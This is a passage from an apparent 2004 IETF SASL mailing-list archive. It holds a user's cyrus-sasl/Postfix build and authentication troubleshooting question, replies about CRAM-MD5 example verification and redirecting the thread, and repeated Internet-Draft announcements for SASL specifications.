inter-library *** dependencies of module liblogin. Therefore, libtool will create *** a static module, that should work as long as the dlopening *** application is linked with the -dlopen flag. ar cru .libs/liblogin.a login.o login_init.o plugin_common.o=20 ranlib .libs/liblogin.a creating liblogin.la mv -f .libs/plugin_common.lo plugin_common.lo /bin/sh ../libtool --mode=3Dlink gcc -Wall -W -g -O2 -L/usr/lib -o = libsasl2.la -rpath /usr/local/lib -version-info 2:17:0 auxprop.lo = canonusr.lo checkpw.lo client.lo common.lo config.lo external.lo md5.lo = saslutil.lo server.lo seterror.lo dlopen.lo plugin_common.lo = -lresolv rm -fr .libs/libsasl2.la .libs/libsasl2.* .libs/libsasl2.* *** Warning: This library needs some functionality provided by -lresolv. *** I have the capability to make that library automatically link in = when *** you link to this library. But I can only do this if you have a *** shared version of the library, which you do not appear to have. *** The inter-library dependencies that have been dropped here will be *** automatically added whenever a program is linked with this library *** or is declared to -dlopen it. cc -shared -fPIC -o .libs/libsasl2.so.2.17 auxprop.lo canonusr.lo = checkpw.lo client.lo common.lo config.lo external.lo md5.lo saslutil.lo = server.lo seterror.lo dlopen.lo plugin_common.lo -L/usr/lib=20 -- Then i set up /usr/lib/sasl2 links to /usr/local/lib/sasl2, for libsql.a = and libsql.la then i try to connect with postfix and i see this in logs. smtp postfix/smtpd[23793]: fatal: no SASL authentication mechanisms smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd = pid 16234 exit status 1 smtp postfix/master[29064]: warning: /usr/libexec/postfix/smtpd: bad = command startup -- throttling smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd = pid 783 exit status 1 and this smtp postfix/smtpd[10835]: Could not find a dlname line in .la file: = libsql.la .=20 I supose i see the openbsd port for cyrus-sasl2, it had libsasl.so.2.13 = but i don't get this when i compile from source package. Somebody knows what's going on? what i need? Thank you. Jesus ------=_NextPart_000_0064_01C3E1F9.891D2200 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi everybody.
 
I'm trying to implement, = Postfix SMTP AUTH=20 with cyrus-sasl  mysql plugin.
 
At compiling time, i see messages = like=20 this
 
mv -f .libs/login_init.lo = login_init.lo
/bin/sh=20 ../libtool --mode=3Dlink gcc  -Wall -W -g -O2  -module = -export-dynamic=20 -rpath /usr/lib/sasl2 -L/usr/lib -o liblogin.la  -version-info = 2:17:0=20 login.lo login_init.lo plugin_common.lo   -lresolv
rm -fr=20 .libs/liblogin.la .libs/liblogin.* .libs/liblogin.*
 
*** Warning: This library needs some = functionality=20 provided by -lresolv.
*** I have the capability to make that library=20 automatically link in when
*** you link to this library.  But I = can only=20 do this if you have a
*** shared version of the library, which you do = not=20 appear to have.
 
*** Warning: libtool could not satisfy = all declared=20 inter-library
*** dependencies of module liblogin.  Therefore, = libtool=20 will create
*** a static module, that should work as long as the=20 dlopening
*** application is linked with the -dlopen flag.
ar cru=20 .libs/liblogin.a  login.o login_init.o plugin_common.o
ranlib=20 .libs/liblogin.a
creating liblogin.la
mv -f .libs/plugin_common.lo=20 plugin_common.lo
/bin/sh ../libtool --mode=3Dlink gcc  -Wall -W = -g=20 -O2   -L/usr/lib -o libsasl2.la -rpath /usr/local/lib = -version-info=20 2:17:0 auxprop.lo canonusr.lo checkpw.lo client.lo common.lo  = config.lo=20 external.lo md5.lo saslutil.lo server.lo seterror.lo  dlopen.lo=20 plugin_common.lo     -lresolv
rm -fr = .libs/libsasl2.la=20 .libs/libsasl2.* .libs/libsasl2.*
 
*** Warning: This library needs some = functionality=20 provided by -lresolv.
*** I have the capability to make that library=20 automatically link in when
*** you link to this library.  But I = can only=20 do this if you have a
*** shared version of the library, which you do = not=20 appear to have.
*** The inter-library dependencies that have been = dropped=20 here will be
*** automatically added whenever a program is linked = with this=20 library
*** or is declared to -dlopen it.
cc -shared  -fPIC = -o=20 .libs/libsasl2.so.2.17  auxprop.lo canonusr.lo checkpw.lo client.lo = common.lo config.lo external.lo md5.lo saslutil.lo server.lo seterror.lo = dlopen.lo plugin_common.lo  -L/usr/lib
--
 
Then i set up /usr/lib/sasl2 links to=20 /usr/local/lib/sasl2, for libsql.a and libsql.la then i try to connect = with=20 postfix and i see this in logs.
 
 smtp postfix/smtpd[23793]: fatal: = no SASL=20 authentication mechanisms
 smtp postfix/master[29064]: warning: = process=20 /usr/libexec/postfix/smtpd pid 16234 exit status 1
 smtp=20 postfix/master[29064]: warning: /usr/libexec/postfix/smtpd: bad command = startup=20 -- throttling
 smtp postfix/master[29064]: warning: process=20 /usr/libexec/postfix/smtpd pid 783 exit status 1
and this
 
smtp postfix/smtpd[10835]: Could not = find a dlname=20 line in .la file: libsql.la
 
.
I supose i see the openbsd port for = cyrus-sasl2, it=20 had libsasl.so.2.13 but i don't get this when i compile from source=20 package.
 
Somebody knows what's going on? = what i=20 need?
 
Thank you.
 
Jesus
------=_NextPart_000_0064_01C3E1F9.891D2200-- From owner-ietf-sasl Sat Jan 24 11:16:16 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0OJGGib055797; Sat, 24 Jan 2004 11:16:16 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0OJGGcl055796; Sat, 24 Jan 2004 11:16:16 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0OJGFib055790 for ; Sat, 24 Jan 2004 11:16:15 -0800 (PST) (envelope-from guenther@sendmail.com) Received: from katroo.Sendmail.COM (natted.sendmail.com [63.211.143.38]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i0OJGEHx022535; Sat, 24 Jan 2004 11:16:14 -0800 (PST) Received: from functor.smi.sendmail.com (functor.smi.sendmail.com [10.210.202.37]) by katroo.Sendmail.COM (8.11.7a/8.11.7) with ESMTP id i0OJGEn17813; Sat, 24 Jan 2004 11:16:14 -0800 (PST) Message-Id: <200401241916.i0OJGEn17813@katroo.Sendmail.COM> To: Lyndon Nerenberg Cc: ietf-sasl@imc.org From: Philip Guenther Subject: Re: CRAM-MD5 examples In-reply-to: <2147483647.1074771184@localhost> References: <2147483647.1074771184@localhost> Date: Sat, 24 Jan 2004 11:16:14 -0800 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Lyndon Nerenberg writes: > >Simon also proposed corrected text for the examples. Since my main >server is still in a box I don't have access to my SASL tools, so I >would appreciate it if someone could run these new examples and provide >independent verification of their correctness. They verify as correct, both the encoding and the hashing. Philip Guenther From owner-ietf-sasl Sun Jan 25 11:21:46 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PJLjBw013225; Sun, 25 Jan 2004 11:21:45 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0PJLjTx013224; Sun, 25 Jan 2004 11:21:45 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from eagle.oceana.com ([208.17.123.12]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0PJLiKB013217 for ; Sun, 25 Jan 2004 11:21:44 -0800 (PST) (envelope-from ken@oceana.com) Received: from oceana.com (69-161-93-210.bflony.adelphia.net [69.161.93.210]) (authenticated bits=0) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i0PJLYfD009502 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 25 Jan 2004 14:21:36 -0500 (EST) Message-ID: <4014173B.2020003@oceana.com> Date: Sun, 25 Jan 2004 14:21:31 -0500 From: Ken Murchison Reply-To: Cyrus SASL Mailing List Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en,pdf MIME-Version: 1.0 To: "Jesus C. Valero Cantu" , Cyrus SASL Mailing List CC: ietf-sasl@imc.org Subject: Re: OpenBSD 3.4 & cyrus-sasl-2.1.17 References: <006701c3e22b$d3caa4d0$2207ea94@dsi.uanl.mx> In-Reply-To: <006701c3e22b$d3caa4d0$2207ea94@dsi.uanl.mx> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I'm moving this discussion to the cyrus-sasl list where it it more appropriate. Jesus C. Valero Cantu wrote: > Hi everybody. > > I'm trying to implement, Postfix SMTP AUTH with cyrus-sasl mysql plugin. > > At compiling time, i see messages like this > > mv -f .libs/login_init.lo login_init.lo > /bin/sh ../libtool --mode=link gcc -Wall -W -g -O2 -module > -export-dynamic -rpath /usr/lib/sasl2 -L/usr/lib -o liblogin.la > -version-info 2:17:0 login.lo login_init.lo plugin_common.lo -lresolv > rm -fr .libs/liblogin.la .libs/liblogin.* .libs/liblogin.* > > *** Warning: This library needs some functionality provided by -lresolv. > *** I have the capability to make that library automatically link in when > *** you link to this library. But I can only do this if you have a > *** shared version of the library, which you do not appear to have. > > *** Warning: libtool could not satisfy all declared inter-library > *** dependencies of module liblogin. Therefore, libtool will create > *** a static module, that should work as long as the dlopening > *** application is linked with the -dlopen flag. > ar cru .libs/liblogin.a login.o login_init.o plugin_common.o > ranlib .libs/liblogin.a > creating liblogin.la > mv -f .libs/plugin_common.lo plugin_common.lo > /bin/sh ../libtool --mode=link gcc -Wall -W -g -O2 -L/usr/lib -o > libsasl2.la -rpath /usr/local/lib -version-info 2:17:0 auxprop.lo > canonusr.lo checkpw.lo client.lo common.lo config.lo external.lo md5.lo > saslutil.lo server.lo seterror.lo dlopen.lo plugin_common.lo -lresolv > rm -fr .libs/libsasl2.la .libs/libsasl2.* .libs/libsasl2.* > > *** Warning: This library needs some functionality provided by -lresolv. > *** I have the capability to make that library automatically link in when > *** you link to this library. But I can only do this if you have a > *** shared version of the library, which you do not appear to have. > *** The inter-library dependencies that have been dropped here will be > *** automatically added whenever a program is linked with this library > *** or is declared to -dlopen it. > cc -shared -fPIC -o .libs/libsasl2.so.2.17 auxprop.lo canonusr.lo > checkpw.lo client.lo common.lo config.lo external.lo md5.lo saslutil.lo > server.lo seterror.lo dlopen.lo plugin_common.lo -L/usr/lib > -- > > Then i set up /usr/lib/sasl2 links to /usr/local/lib/sasl2, for libsql.a > and libsql.la then i try to connect with postfix and i see this in logs. > > smtp postfix/smtpd[23793]: fatal: no SASL authentication mechanisms > smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd > pid 16234 exit status 1 > smtp postfix/master[29064]: warning: /usr/libexec/postfix/smtpd: bad > command startup -- throttling > smtp postfix/master[29064]: warning: process /usr/libexec/postfix/smtpd > pid 783 exit status 1 > and this > > smtp postfix/smtpd[10835]: Could not find a dlname line in .la file: > libsql.la > > . > I supose i see the openbsd port for cyrus-sasl2, it had libsasl.so.2.13 > but i don't get this when i compile from source package. > > Somebody knows what's going on? what i need? > > Thank you. > > Jesus -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp From owner-ietf-sasl Wed Jan 28 08:08:11 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8Bla038835; Wed, 28 Jan 2004 08:08:11 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SG8BlS038834; Wed, 28 Jan 2004 08:08:11 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8AoC038828 for ; Wed, 28 Jan 2004 08:08:10 -0800 (PST) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06692; Wed, 28 Jan 2004 11:08:08 -0500 (EST) Message-Id: <200401281608.LAA06692@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-rfc2222bis-05.txt Date: Wed, 28 Jan 2004 11:08:07 -0500 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : Simple Authentication and Security Layer (SASL) Author(s) : A. Melnikov Filename : draft-ietf-sasl-rfc2222bis-05.txt Pages : 11 Date : 2004-1-27 SASL provides a method for adding authentication support with an optional security layer to connection-based protocols. It also describes a structure for authentication mechanisms. The result is an abstraction layer between protocols and authentication mechanisms such that any SASL-compatible authentication mechanism can be used with any SASL-compatible protocol. This document describes how a SASL authentication mechanism is structured, how a protocol adds support for SASL, defines the protocol for carrying a security layer over a connection, and defines the EXTERNAL SASL authentication mechanism. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-rfc2222bis-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-rfc2222bis-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-sasl Wed Jan 28 08:08:23 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8Nlg038857; Wed, 28 Jan 2004 08:08:23 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0SG8NhR038856; Wed, 28 Jan 2004 08:08:23 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0SG8MsJ038849 for ; Wed, 28 Jan 2004 08:08:22 -0800 (PST) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06724; Wed, 28 Jan 2004 11:08:20 -0500 (EST) Message-Id: <200401281608.LAA06724@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-crammd5-02.txt Date: Wed, 28 Jan 2004 11:08:19 -0500 Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : The CRAM-MD5 SASL Mechanism Author(s) : L. Nerenberg Filename : draft-ietf-sasl-crammd5-02.txt Pages : 7 Date : 2004-1-27 This document defines a simple challenge-response authentication mechanism, using a keyed-hash digest, for use with the Simple Authentication and Security Layer (SASL) A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-crammd5-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-crammd5-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-crammd5-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-sasl Thu Jan 29 06:53:18 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TErIvA017245; Thu, 29 Jan 2004 06:53:18 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TErIX7017244; Thu, 29 Jan 2004 06:53:18 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from HQ-SMTP.vsnl.co.in (mail.vsnl.co.in [202.54.117.12]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TErGnl017231 for ; Thu, 29 Jan 2004 06:53:17 -0800 (PST) (envelope-from Internet-Drafts@ietf.org) Received: from mail pickup service by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC; Thu, 29 Jan 2004 20:14:23 +0530 Received: from asgard.ietf.org ([132.151.6.40]) by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC(5.0.2195.6713); Wed, 28 Jan 2004 22:51:03 +0530 Received: from majordomo by asgard.ietf.org with local (Exim 4.14) id 1AlsFv-000745-IQ for ietf-announce-list@asgard.ietf.org; Wed, 28 Jan 2004 11:09:31 -0500 Received: from ietf.org ([10.27.2.28]) by asgard.ietf.org with esmtp (Exim 4.14) id 1AlsEq-0006vh-G3 for all-ietf@asgard.ietf.org; Wed, 28 Jan 2004 11:08:24 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06724; Wed, 28 Jan 2004 11:08:20 -0500 (EST) Message-Id: <200401281608.LAA06724@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-crammd5-02.txt Date: Wed, 28 Jan 2004 11:08:19 -0500 X-OriginalArrivalTime: 28 Jan 2004 17:21:04.0187 (UTC) FILETIME=[1BA7C8B0:01C3E5C3] Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : The CRAM-MD5 SASL Mechanism Author(s) : L. Nerenberg Filename : draft-ietf-sasl-crammd5-02.txt Pages : 7 Date : 2004-1-27 This document defines a simple challenge-response authentication mechanism, using a keyed-hash digest, for use with the Simple Authentication and Security Layer (SASL) A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-crammd5-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-crammd5-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-crammd5-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-crammd5-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112913.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ietf-sasl Thu Jan 29 10:53:12 2004 Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TIrCA5037850; Thu, 29 Jan 2004 10:53:12 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TIrCtV037849; Thu, 29 Jan 2004 10:53:12 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from HQ-SMTP.vsnl.co.in (mail.vsnl.co.in [202.54.117.12]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TIrAev037840 for ; Thu, 29 Jan 2004 10:53:11 -0800 (PST) (envelope-from Internet-Drafts@ietf.org) Received: from mail pickup service by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC; Fri, 30 Jan 2004 00:29:30 +0530 Received: from asgard.ietf.org ([132.151.6.40]) by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC(5.0.2195.6713); Wed, 28 Jan 2004 22:48:35 +0530 Received: from majordomo by asgard.ietf.org with local (Exim 4.14) id 1AlsFv-00073q-9K for ietf-announce-list@asgard.ietf.org; Wed, 28 Jan 2004 11:09:31 -0500 Received: from ietf.org ([10.27.2.28]) by asgard.ietf.org with esmtp (Exim 4.14) id 1AlsEe-0006uz-HC for all-ietf@asgard.ietf.org; Wed, 28 Jan 2004 11:08:12 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06692; Wed, 28 Jan 2004 11:08:08 -0500 (EST) Message-Id: <200401281608.LAA06692@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-rfc2222bis-05.txt Date: Wed, 28 Jan 2004 11:08:07 -0500 X-OriginalArrivalTime: 28 Jan 2004 17:18:37.0937 (UTC) FILETIME=[C47BCE10:01C3E5C2] Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : Simple Authentication and Security Layer (SASL) Author(s) : A. Melnikov Filename : draft-ietf-sasl-rfc2222bis-05.txt Pages : 11 Date : 2004-1-27 SASL provides a method for adding authentication support with an optional security layer to connection-based protocols. It also describes a structure for authentication mechanisms. The result is an abstraction layer between protocols and authentication mechanisms such that any SASL-compatible authentication mechanism can be used with any SASL-compatible protocol. This document describes how a SASL authentication mechanism is structured, how a protocol adds support for SASL, defines the protocol for carrying a security layer over a connection, and defines the EXTERNAL SASL authentication mechanism. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-sasl-rfc2222bis-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-sasl-rfc2222bis-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-sasl-rfc2222bis-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-1-28112902.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TIrCA5037850; Thu, 29 Jan 2004 10:53:12 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0TIrCtV037849; Thu, 29 Jan 2004 10:53:12 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from HQ-SMTP.vsnl.co.in (mail.vsnl.co.in [202.54.117.12]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0TIrAev037840 for ; Thu, 29 Jan 2004 10:53:11 -0800 (PST) (envelope-from Internet-Drafts@ietf.org) Received: from mail pickup service by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC; Fri, 30 Jan 2004 00:29:30 +0530 Received: from asgard.ietf.org ([132.151.6.40]) by HQ-SMTP.vsnl.co.in with Microsoft SMTPSVC(5.0.2195.6713); Wed, 28 Jan 2004 22:48:35 +0530 Received: from majordomo by asgard.ietf.org with local (Exim 4.14) id 1AlsFv-00073q-9K for ietf-announce-list@asgard.ietf.org; Wed, 28 Jan 2004 11:09:31 -0500 Received: from ietf.org ([10.27.2.28]) by asgard.ietf.org with esmtp (Exim 4.14) id 1AlsEe-0006uz-HC for all-ietf@asgard.ietf.org; Wed, 28 Jan 2004 11:08:12 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA06692; Wed, 28 Jan 2004 11:08:08 -0500 (EST) Message-Id: <200401281608.LAA06692@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ietf-sasl@imc.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-sasl-rfc2222bis-05.txt Date: Wed, 28 Jan 2004 11:08:07 -0500 X-OriginalArrivalTime: 28 Jan 2004 17:18:37.0937 (UTC) FILETIME=[C47BCE10:01C3E5C2] Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Simple Authentication and Security Layer Working Group of the IETF. Title : Simple Authentication and Security Layer (SASL) Author(s) : A. 